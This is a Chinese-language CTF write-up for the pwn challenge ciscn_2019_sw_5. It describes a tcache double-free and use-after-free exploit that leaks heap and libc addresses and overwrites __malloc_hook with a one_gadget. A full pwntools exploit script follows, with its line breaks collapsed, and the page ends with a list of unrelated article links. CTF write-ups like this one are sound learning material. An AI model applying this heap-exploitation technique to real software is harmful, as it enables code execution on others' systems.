ciscn_2019_sw_5

拿到题目,首先查看保护

正常操作,保护全开
打开ida,发现是一道标准菜单题

接下来主要对add和delete函数进行分析

固定申请0x70大小的堆块,并打印堆块内容

只能free3次,且存在uaf漏洞

具体思路如下:
首先,连续free两次,构造double free
然后,劫持fd指针到heapbase+0x30位置,劫持tcache结构体,并泄漏heap地址。此处需要爆破得到heapbase,有1/16的可能性
其次,将tcache结构体中保存堆块大小的地址劫持为7,并劫持tcache 0x80位置的堆块指针为heapbase+0x20,伪造chunk大小为0x231。free伪造大小的chunk,进入unsorted bin,接着申请泄漏libc地址,同时继续劫持tcache 0x80位置的堆块指针为heapbase+0x20。
最后,再次劫持tcache 0x80位置堆块指针为malloc_hook,并覆盖为one_gadget,直接get shell。

具体wp如下:


from pwn import *context.arch = 'amd64'
context.log_level = 'debug'fn = './ciscn_2019_sw_5'
elf = ELF(fn)
libc = ELF('/home/lst/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')debug = 0
if debug:p = remote('node4.buuoj.cn', 27417)
else:p = process(fn)def menu(index):p.sendlineafter('>> ', str(index))def add(title, content):menu(1)p.sendafter('title:', title)p.sendafter('content:', content)def delete(index):menu(2)p.sendlineafter('index:', str(index))def attack():add('p2lst', 'aaaa')    # 0add('p2lst', 'aaaa')    # 1add('p2lst', 'aaaa')    # 2delete(0)delete(0)add(p8(0x30) + p8(0x90), 'aaaa')    # 3heap_base = u64(p.recvuntil('aaaa')[-11:-5].ljust(8, '\x00')) - 0x30log.success('heap_base: ' + hex(heap_base))add('p2lst', 'aaaa')    # 4add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 4 + p64(heap_base + 0x20))    # 5add(p64(0), p64(0x231))  # 6delete(5)add('a', p8(0x7) * 0x18 + p64(0) * 6 + p64(heap_base + 0x20))   # 7libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebe61log.success('libc_base: ' + hex(libc_base))malloc_hook = libc_base + libc.sym['__malloc_hook']gadgets = [0x4f2c5, 0x4f322, 0x10a38c]one_gadget = libc_base + gadgets[1]add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 6 + p64(malloc_hook))    # 8add(p64(one_gadget), 'aaaa')    # 9gdb.attach(p)menu(1)p.interactive()if __name__ == '__main__':while True:try:# p = remote('node4.buuoj.cn', 27417)p = process(fn)attack()breakexcept:p.close()continue

最后附上打通截图

buuctf ciscn_2019_sw_5相关推荐

  1. python随机抽样_掌握python中的随机抽样

    python随机抽样 Python provides many useful tools for random sampling as well as functions for generating ...

  2. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  3. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  4. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  5. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  6. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  7. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  8. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  9. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

最新文章

  1. 浙江大学通信与计算机网络,新浙大2015年通信与计算机网络离线作业.doc
  2. BZOJ 1003: [ZJOI2006]物流运输trans
  3. JAVA关于父亲节的代码_关于父亲节的经典语录
  4. 简述机器指令与微指令之间的关系_技术动态 | 跨句多元关系抽取
  5. 棋盘里的数学(qduoj 记忆化搜索)
  6. 基于css和js的轮播效果图实现
  7. bootstrap之项目一的填坑
  8. Java程序设计基础笔记 • 【第7章 Java中的类和对象】
  9. 淘宝/天猫添加收货地址 API
  10. DEBRON OVM1052 汽车关门速度仪的操作流程
  11. Latex 宏定义中 \relax
  12. 计算一个数的二进制中一的个数(三种方法)
  13. 关于UEFI引导的理解
  14. 无线室内定位系统和技术在地下采矿中的应用综述2021Applications of Wireless Indoor Positioning Systems and Technologies in U
  15. 安卓手机使用LEAP企业Wifi网络(公司内部的证书方式)
  16. ESP32专栏八 NVS存储
  17. 封神台-尤里的复仇Ⅰ
  18. Hive---外部表和内部表
  19. idea的tomcat改端口号_如何修改tomcat默认端口号8080的方法
  20. 基于Phonon+QT的音视频播放器设计与实现

热门文章

  1. 山大计算机毕业生去向,985就业:山东大学的毕业生们都被哪些单位录取了?19届就业情况...
  2. Javaweb在线拍卖管理系统买家卖家mysql
  3. 百度度地图总是提示key 验证出错 请在 AndroidManifest xml 文件中检查 key 设置解决办法
  4. jmeter安装及使用基本教程
  5. 从尾到头打印一个链表
  6. 谈谈RGB、YUY2、YUYV、YVYU、UYVY、AYUV
  7. 2022年将成为海外直播带货的发展元年?-跨境知道
  8. scrapy 常见问题集锦
  9. Adobe国际认证中文网站_Adobe认证专家考试费用
  10. 美国签证DS-160填表指南(内含图文)